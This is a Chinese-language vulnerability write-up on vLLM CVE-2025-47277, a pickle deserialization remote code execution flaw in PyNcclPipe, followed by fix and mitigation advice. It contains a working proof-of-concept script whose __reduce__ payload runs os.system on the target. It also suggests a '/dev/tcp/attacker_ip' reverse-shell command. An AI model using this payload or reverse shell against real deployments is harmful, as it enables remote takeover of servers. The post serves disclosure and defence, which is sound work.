奇安信攻防社区-vLLM PyNcclPipe pickle反序列化漏洞(CVE-2025-47277)

vLLM PyNcclPipe pickle反序列化漏洞(CVE-2025-47277)

CVE-2025-47277 是 vLLM 项目中的一个远程代码执行（RCE）漏洞，源于其使用`PyNcclPipe`模块时，未经验证地反序列化来自网络的数据，攻击者可通过构造恶意 pickle 数据包，在服务器端执行任意代码。该漏洞严重性等级为 Critical。

漏洞描述
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CVE-2025-47277 是 vLLM 项目中的一个 **远程代码执行（RCE）**漏洞，源于其使用`PyNcclPipe`模块时，未经验证地反序列化来自网络的数据，攻击者可通过构造恶意 pickle 数据包，在服务器端执行任意代码。该漏洞严重性等级为 **Critical**。

影响范围
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|  |  |
|---|---|
| 条件 | 说明 |
| **影响版本** | vLLM &gt;= 0.6.5 且 &lt; 0.8.5 |
| **影响模块** | `VLLMEngineV0`&lt;br&gt;&lt;br&gt;引擎中启用的`PyNcclPipe`&lt;br&gt;&lt;br&gt;KV 缓存传输机制 |
| **受影响部署模式** | 多节点分布式部署，KV 节点暴露在公网或未限制访问 |
| **不受影响** | 使用 VLLMEngineV1、新版 NCCL 后端或未启用 KV 传输的单机部署 |

漏洞环境搭建
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可以在本地搭建一个复现环境：

- Python ≥ 3.8
- vLLM == 0.8.3（或受影响版本）
- PyTorch

```php
from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe
from vllm.config import KVTransferConfig

config=KVTransferConfig(
kv_ip="127.0.0.1",
kv_port=8888,
kv_rank=0,
kv_parallel_size=1,
kv_buffer_size=1024,
kv_buffer_device="cpu"
)

p=PyNcclPipe(config=config,local_rank=0)
p.recv_tensor() 
```

代码解读

```php
from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe
from vllm.config import KVTransferConfig
```

PyNcclPipe：vLLM 的分布式 KV 缓存传输模块，用于节点之间传输 tensor 数据。

KVTransferConfig：用于配置 KV 缓存传输参数，例如端口、IP、rank 等

```php
config = KVTransferConfig(
    kv_ip="127.0.0.1",
    kv_port=8888,
    kv_rank=0,
    kv_parallel_size=1,
    kv_buffer_size=1024,
    kv_buffer_device="cpu"
)
```

kv\_ip：本地监听 IP，接收其他节点发来的 tensor 数据。127.0.0.1 代表只监听本地（攻击时需开放公网 IP）。

kv\_port：网络监听端口（服务端口），攻击者通过该端口发送恶意数据。

kv\_rank：当前节点在分布式系统中的编号，0 表示主节点。

kv\_parallel\_size：并行传输的节点数量，这里设为 1，表示单连接通信。

kv\_buffer\_size：每次接收 tensor 的 buffer 大小。

kv\_buffer\_device：buffer 存储设备，设为 "cpu" 表示张量数据缓存在 CPU 上。

```php
p = PyNcclPipe(config=config, local_rank=0)
```

创建一个 PyNcclPipe 对象，它封装了底层 TCP 通信逻辑，用于从其他节点接收数据。local\_rank=0 表示当前节点在通信中的本地编号。

```php
p.recv_tensor()
```

这是漏洞的触发点！recv\_tensor() 内部会调用 recv\_obj() 来从 socket 中接收序列化对象。

![](https://cdn.nlark.com/yuque/0/2025/png/44876878/1748518563115-4699eab3-39ca-41bd-b0b9-e41f97b90c0e.png)

漏洞分析
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|  |  |
|---|---|
| 成因点 | 描述 |
| **不安全反序列化** | `recv_obj()`中使用`pickle.loads()`对用户发送的序列化数据直接反序列化，无身份校验或数据校验。 |
| **网络暴露配置缺陷** | PyTorch 的`TCPStore`默认监听`0.0.0.0`，vLLM 用户配置`--kv-ip`也未能强制绑定私有 IP。 |
| **内网信任假设过强** | vLLM 设计默认内网环境可信，缺乏防御恶意内部节点或入侵者横向移动的保护措施。 |

在pynccl\_pipe.py中调用了recv\_obj()方法

![](https://cdn.nlark.com/yuque/0/2025/png/44876878/1748514990229-6729c294-9c55-4938-9b87-ae9bd3e6f73d.png)

而recv\_obj()方法中刚好对传入的字符串进行pickle反序列化

![](https://cdn.nlark.com/yuque/0/2025/png/44876878/1748515006674-ddd70e1b-b16f-44bf-aa77-b298ee586d84.png)

漏洞复现
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攻击脚本

```php
from vllm.distributed.utils import StatelessProcessGroup

class Evil:
    def __reduce__(self):
        import os
        cmd='whoami'
        return (os.system,(cmd,))

client = StatelessProcessGroup.create(
    host='127.0.0.1',
    port=18888,
    rank=1,
    world_size=2,
)

client.send_obj(obj=Evil(),dst=0)
```

代码分段解读：

```php
from vllm.distributed.utils import StatelessProcessGroup
```

这里引入 StatelessProcessGroup，这是 vLLM 中用于节点间通信的一个工具类，封装了 TCP 通信逻辑。

```php
class Evil:
    def __reduce__(self):
        import os
        cmd = 'whoami'
        return (os.system, (cmd,))
```

这是攻击的核心：

\_\_reduce\_\_() 是 Python pickle 模块在反序列化对象时调用的特殊方法。它的返回值告诉 pickle.loads() 如何还原一个对象。这里它返回的是 (os.system, ('whoami',))，反序列化时会执行 os.system('whoami')。这里可以把 'whoami' 换成任意命令，例如 bash -i &gt;&amp; /dev/tcp/attacker\_ip/port 0&gt;&amp;1 以反弹 shell。

```php
client = StatelessProcessGroup.create(
    host='127.0.0.1',
    port=18888,
    rank=1,
    world_size=2,
)
```

这行代码创建了一个客户端通信节点：host：目标服务监听地址（本地测试用 127.0.0.1），port：目标服务监听端口（通常为服务端的 KV 服务端口），rank：当前通信节点的编号（1 表示攻击节点），world\_size：分布式训练的总节点数（2 表示 2 个节点通信）

这个接口实际上是将攻击者作为一个“合法”节点加入通信组。

```php
client.send_obj(obj=Evil(), dst=0)
```

通过 send\_obj() 向 rank=0 的节点发送序列化后的 Evil 对象。服务端在执行 recv\_obj() 时，会执行 pickle.loads() 对这个对象反序列化。从而触发 Evil.\_\_reduce\_\_()，间接调用 os.system('whoami')。

运行后，目标机器会执行whoami命令，在实战环境下可以反弹shell

![](https://cdn.nlark.com/yuque/0/2025/png/44876878/1748518697371-3c63ed8a-dcd6-4e39-b8e5-d0423ec6ee82.png)

漏洞修复
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vLLM 在 0.8.5 版本中已修复此漏洞：

### 修复内容：

- 强制`TCPStore`使用指定私有地址进行绑定（防止监听所有接口）
- 改进通信逻辑，防止未经校验的`pickle.loads`被直接调用

### 防护建议：

- **升级 vLLM 至 ≥ 0.8.5**
- **使用防火墙**阻止来自不受信任源的连接（如仅允许 10.x 或 192.168.x IP）
- **切换到 V1 引擎**，其不使用该模块
- **使用安全消息格式**（如 JSON、protobuf），禁止`pickle`用于跨网络通信

参考文章
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- [github.com：https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fv](https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fv)
- [github.com：https://github.com/vllm-project/vllm/pull/15988](https://github.com/vllm-project/vllm/pull/15988)
- [github.com：https://github.com/vllm-project/vllm/commit/0d6e187e88874c39cda7409cf673f9e6546893e7](https://github.com/vllm-project/vllm/commit/0d6e187e88874c39cda7409cf673f9e6546893e7)
- [docs.vllm.ai：https://docs.vllm.ai/en/latest/deployment/security.html](https://docs.vllm.ai/en/latest/deployment/security.html)

发表于 2025-06-09 09:00:02
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分类：CMS

vLLM PyNcclPipe pickle反序列化漏洞(CVE-2025-47277)

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